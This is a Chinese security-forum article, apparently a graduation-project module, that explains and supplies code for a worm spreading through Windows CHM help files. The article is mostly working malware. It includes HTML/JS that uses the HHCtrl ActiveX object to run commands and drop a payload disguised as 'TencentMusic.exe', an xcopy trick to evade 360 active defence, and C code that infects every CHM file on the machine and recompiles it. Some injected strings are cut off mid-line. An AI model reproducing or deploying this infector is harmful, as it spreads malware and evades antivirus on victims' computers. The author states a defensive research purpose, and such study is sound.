利用chm文件实现病毒程序的蠕虫式横向传播
2021-06-04 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:128 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:某警官

一  引言

这个项目属于我毕设中的一个模块,在19年时看到红队利用chm作为钓鱼文件进行入侵,在对他的手法进行复现后,发现并不能绕过360的主动防御,于是我对其中的主要js代码进行改进使其可以绕过主动防御,并在此基础上,对chm文件的文件结构与编译过程进行了研究,于是便有了此项目。
使用此项目,可以在对方打开被感染的chm文件时,感染对方电脑中的所有chm文件,被感染的chm文件复制到其他电脑打开时,又会进行新一轮的攻击。
最近又进行了一次测试,发现原本的攻击手法已经不能绕过360主动防御了,大家可以在此基础上继续寻找绕过的方法。该项目旨在研究红队的攻击手法,以便蓝队更好的进行防御。

二  需求分析与初步设计

2.1 执行js代码,调用系统命令
可以通过在主页html中添加js的方式实现。
2.2 释放恶意代码文件
通过在编译时,对chm添加恶意程序,调用系统命令hh -decompile将程序释放到指定路径来实现。
2.3 感染其他chm文件
通过释放微软提供的chm编译工具hhc.exe到磁盘中,根据反编译文件的内容,创建chm的编译环境配置文件,并在主页中插入js。

三  具体实现

3.1 在html中执行js调用系统命令
通过以上方式,在Item1的value中添加需要执行的命令即可。
<div id="t0"></div><OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',calc.exe'></OBJECT>demo.Click();</SCRIPT>
3.2 释放恶意代码文件

在3.1的基础上编写以下的js代码,即可将恶意程序释放并调用,直接上代码:
<div id="t0"></div><OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow</OBJECT><OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value = ',path'></OBJECT><SCRIPT>var str=location.href;var commodStr0 ='<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1'<PARAM name="Command" value="ShortCut0">' +'<PARAM name="Button" value="Bitmap::shortcut0">' +'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile'</OBJECT>';var sleep = function(time) {    var startTime = new Date().getTime() + parseInt(time, 10);    while (new Date().getTime() < startTime) {}};copy.Click();sleep(100);document.getElementById('t0').innerHTML = commodStr0;decompile.Click();sleep(100);call.Click();</SCRIPT>

其中调用xcopy拷贝hh.exe到Public目录,是因为在19年时,360对system目录路径下的hh.exe的调用做了主动防御,但并未对该目录下的xcopy.exe做主动防御,因此调用xcopy将hh.exe拷贝到其他目录下,即可绕过,但是现在经测试已经无效,不知道是对xcopy做了主动防御还是对整个system路径都做了主动防御,感兴趣的可以试一下。
 
3.3 感染其他chm文件
    
话不多说,直接上代码,首先需要将微软提供的chm编译工具释放到磁盘中:
int InitEnv() {    char szHhcPath[MAX_PATH];    char szHhaPath[MAX_PATH];    GetTempPath(MAX_PATH, szTempPath);    strcpy(szHhcPath, szTempPath);    strcat(szHhcPath, "hhc.exe");    strcpy(szHhaPath, szTempPath);    strcat(szHhaPath, "hha.dll");    if (ReleaseRes(IDR_BIN2, szHhcPath)        && ReleaseRes(IDR_BIN3, szHhaPath)) {        return TRUE;    }    return FALSE;}
在编译磁盘遇到chm文件时,需要先对其进行反编译,对反编译出的文件中的hhk文件添加需要捆绑的文件信息,在hhc文件中寻找主页文件路径,并对主页文件添加js,代码如下:
void InsertCode(char* szChmPath, char* szOutDir) {    // 遍历目录    char szFindPath[MAX_PATH] = { 0 };    char szHhcPath[MAX_PATH] = { 0 };    char szHhkPath[MAX_PATH] = { 0 };    // 临时文件路径    char szTmpPath[MAX_PATH] = { 0 };    // 一行文本数据    char szLine[MAX_PATH] = { 0 };    // 首页文件的绝对路径    char szFirstPath[MAX_PATH] = { 0 };    // 临时文件    FILE* pTmp;    // 是否已插入数据    int bInsert = FALSE;    //ReleaseRes()    strcat(szFindPath, (char*)szOutDir);    strcat(szFindPath, "\\*");    WIN32_FIND_DATA wfd = { 0 };    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);    if (hFile != INVALID_HANDLE_VALUE) {        do {            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {                continue;            }            char* suffix = strrchr(wfd.cFileName, '.');            // 在编译内容文件HHK中新增捆绑文件            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {                bInsert = FALSE;                sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName);                sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk");                FILE* pHhc = fopen(szHhkPath, "r+");                FILE* pTmp = fopen(szTmpPath, "w");                while (fgets(szLine, MAX_PATH, pHhc)) {                    // 在第一次出现"<LI> <OBJECT type="的上一行插入数据                    if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) {                        fputs(szInsertHhk, pTmp);                        bInsert = TRUE;                    }                    fputs(szLine, pTmp);                }                fclose(pTmp);                fclose(pHhc);                // 用tmp.hhk替换原本的hhk                CopyFile(szTmpPath, szHhkPath, FALSE);                DeleteFile(szTmpPath);            }            // 在目录文件HHC中获取首页文件并插入代码            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {                sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName);                FILE* pHhc = fopen(szHhcPath, "r");                strcpy(szFirstPath, szOutDir);                strcat(szFirstPath, "\\");                while (fgets(szLine, MAX_PATH, pHhc)) {                    // 第一次出现"<param name="Local" value="处为首页文件                    if (strstr(szLine, "<param name=\"Local\" value=")) {                        int dwLineLen = strlen(szLine);                        int dwIndex = strlen("\t\t<param name=\"Local\" value=\"");                        // 去除前缀和后面的" ">\n "                        strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3);                        StrReplace(szFirstPath, "/", "\\");                        break;                    }                }                fclose(pHhc);                bInsert = FALSE;                memset(szTmpPath, 0, sizeof(szTmpPath));                strcpy(szTmpPath, szOutDir);                strcat(szTmpPath, "\\tmp.html");                pTmp = fopen(szTmpPath, "w");                FILE* pFirstFile = fopen(szFirstPath, "r");                while (fgets(szLine, MAX_PATH, pFirstFile)) {                    // 在第一次出现"<html>"的下一行插入数据                    fputs(szLine, pTmp);                    if (strstr(szLine, "<html>") && !bInsert) {                        // 添加 TencentMusic.exe                        fputs(szFirstPage, pTmp);                        bInsert = TRUE;                    }                }                fclose(pFirstFile);                fclose(pTmp);                // 用tmp.hhk替换原本的hhk                CopyFile(szTmpPath, szFirstPath, FALSE);                DeleteFile(szTmpPath);            }        } while (FindNextFileA(hFile, &wfd));    }    FindClose(hFile);}

其中对hhk插入的代码如下:
char szInsertHhk[1024] =    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"TencentMusic\">\n"    \    "\t\t<param name=\"Local\" value=\"TencentMusic.exe\">\n"    \    "\t\t</OBJECT>\n"    \    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"qqmusic\">\n"    \    "\t\t<param name=\"Local\" value=\"qqmusic.dll\">\n"    \    "\t\t</OBJECT>\n"    \    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"msvcp100\">\n"    \    "\t\t<param name=\"Local\" value=\"msvcp100.dll\">\n"    \    "\t\t</OBJECT>\n"    \    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"msvcr100\">\n"    \    "\t\t<param name=\"Local\" value=\"msvcr100.dll\">\n"    \    "\t\t</OBJECT>\n";

对主页文件添加的代码如下:
char szFirstPage[2048] =    "<div id=\"t0\">\n"    \    "</div>\n"    \    "<OBJECT id=copy classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n"    \    "<PARAM name=\"Command\"value=\"ShortCut\">\n"    \    "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n"    \    "<PARAM name=\"Item1\"value=',xcopy,C:\\Windows\\SysWOW64\\hh.exe /N C:\\Users    "</OBJECT>\n"    \    "<OBJECT id=call classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n"    \    "<PARAM name=\"Command\"value=\"ShortCut\">\n"    \    "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n"    \    "<PARAM name=\"Item1\"value = ',C:\\Users\\Public\\Downloads\\Temp\\TencentMus    "</OBJECT>\n"    \    "<SCRIPT>\n"    \    "var str=location.href;\n"    \    "var commodStr0 =\n"    \    "'<OBJECT id=decompile classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\"    "'<PARAM name=\"Command\" value=\"ShortCut0\">' +\n"    \    "'<PARAM name=\"Button\" value=\"Bitmap::shortcut0\">' +\n"    \    "'<PARAM name=\"Item1\" value=\",C:\\\\Users\\\\Public\\\\Downloads\\\\Temp\\\    "'</OBJECT>';\n"    \    "var sleep = function(time) {\n"    \    "    var startTime = new Date().getTime() + parseInt(time, 10);\n"    \    "    while (new Date().getTime() < startTime) {}\n"    \    "};\n"    \    "copy.Click();\n"    \    "sleep(100);\n"    \    "document.getElementById('t0').innerHTML = commodStr0;\n"    \    "decompile.Click();\n"    \    "sleep(100);\n"    \    "call.Click();\n"    \    "</SCRIPT>\n";

对hhc程序进行分析后可以发现,chm的编译依赖于一个hhp的配置文件,文件的主要内容如下:

    
创建hpp文件时,需要遍历反编译目录寻找hhc文件和hhk文件,将两个文件的路径分别赋值给Index file和Contents file,Combiled file和Title字段区赋值为chm文件名称,代码如下:
void ChmCompile(char* szChmPath, char* szOutDir) {    char szFindPath[MAX_PATH] = { 0 };    char szHhpPath[MAX_PATH] = { 0 };    char szChmName[MAX_PATH] = { 0 };    char szHhkName[MAX_PATH] = { 0 };    char szHhcName[MAX_PATH] = { 0 };    char szOptions[MAX_PATH] = { 0 };    char szCompiledFile[MAX_PATH] = { 0 };    char szContentsFile[MAX_PATH] = { 0 };    char szIndexFile[MAX_PATH] = { 0 };    char szTitle[MAX_PATH] = { 0 };    char szCompileCmd[MAX_PATH] = { 0 };    char szNewChmPath[MAX_PATH] = { 0 };    strcat(szFindPath, szOutDir);    strcat(szFindPath, "\\*");    WIN32_FIND_DATA wfd = { 0 };    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);    if (hFile != INVALID_HANDLE_VALUE) {        do {            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {                continue;            }            char* suffix = strrchr(wfd.cFileName, '.');            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {                strcpy(szHhkName, wfd.cFileName);            }            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {                strcpy(szHhcName, wfd.cFileName);            }        } while (FindNextFileA(hFile, &wfd));    }    FindClose(hFile);    strcpy(szChmName, strrchr(szOutDir, '\\') + 1);    strcpy(szHhpPath, szOutDir);    strcat(szHhpPath, "\\");    strcat(szHhpPath, szChmName);    strcat(szHhpPath, ".hhp");    // 创建hhp文件    FILE* pHhpFile = fopen(szHhpPath, "wb+");     strcpy(szOptions, "[OPTIONS]\n");    fwrite(szOptions, 1, strlen(szOptions), pHhpFile);     strcpy(szCompiledFile, "Compiled file=");    strcat(szCompiledFile, szChmName);    strcat(szCompiledFile, ".chm\n");    fwrite(szCompiledFile, 1, strlen(szCompiledFile), pHhpFile);     strcpy(szContentsFile, "Contents file=");    strcat(szContentsFile, szHhcName);    strcat(szContentsFile, "\n");    fwrite(szContentsFile, 1, strlen(szContentsFile), pHhpFile);     strcpy(szIndexFile, "Index file=");    strcat(szIndexFile, szHhkName);    strcat(szIndexFile, "\n");    fwrite(szIndexFile, 1, strlen(szIndexFile), pHhpFile);     strcpy(szTitle, "Title=");    strcat(szTitle, szChmName);    strcat(szTitle, "\n");    fwrite(szTitle, 1, strlen(szTitle), pHhpFile);     fflush(pHhpFile);    fclose(pHhpFile);     strcpy(szCompileCmd, szTempPath);    strcat(szCompileCmd, "hhc.exe ");    strcat(szCompileCmd, szHhpPath);    // 编译生成修改后的chm    system(szCompileCmd);    // 用修改后的chm替换原本的chm    //DeleteFile(szChmPath);    strcpy(szNewChmPath, szOutDir);    strcat(szNewChmPath, "\\");    strcat(szNewChmPath, szChmName);    strcat(szNewChmPath, ".chm");    CopyFile(szNewChmPath, szChmPath, FALSE);    DeleteDir(szOutDir);}

调用释放的hhc.exe进行编译生成新的chm文件,这个新的chm即是被感染的chm。
    

四  结语

以上代码只是一个demo,在真实的场景中会遇到hhc和hhk的一些编码问题,想要进一步研究的可以自己解决以下,这里就不写了。最后附上c文件。(点击左下角阅读原文,去原帖下载附件)
- End -

看雪ID:某警官

https://bbs.pediy.com/user-home-856450.htm

  *本文由看雪论坛 某警官 原创,转载请注明来自看雪社区。

《安卓高级研修班》2021年6月班火热招生中!

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458386293&idx=1&sn=28dc86d9c202558c5c31f08db6a79ab4&chksm=b180cfff86f746e9ad1df1fdbf625d6574e716ec0c4d71b07bcbdf441ba062511f470aa8dfbc#rd
如有侵权请联系:admin#unsafe.sh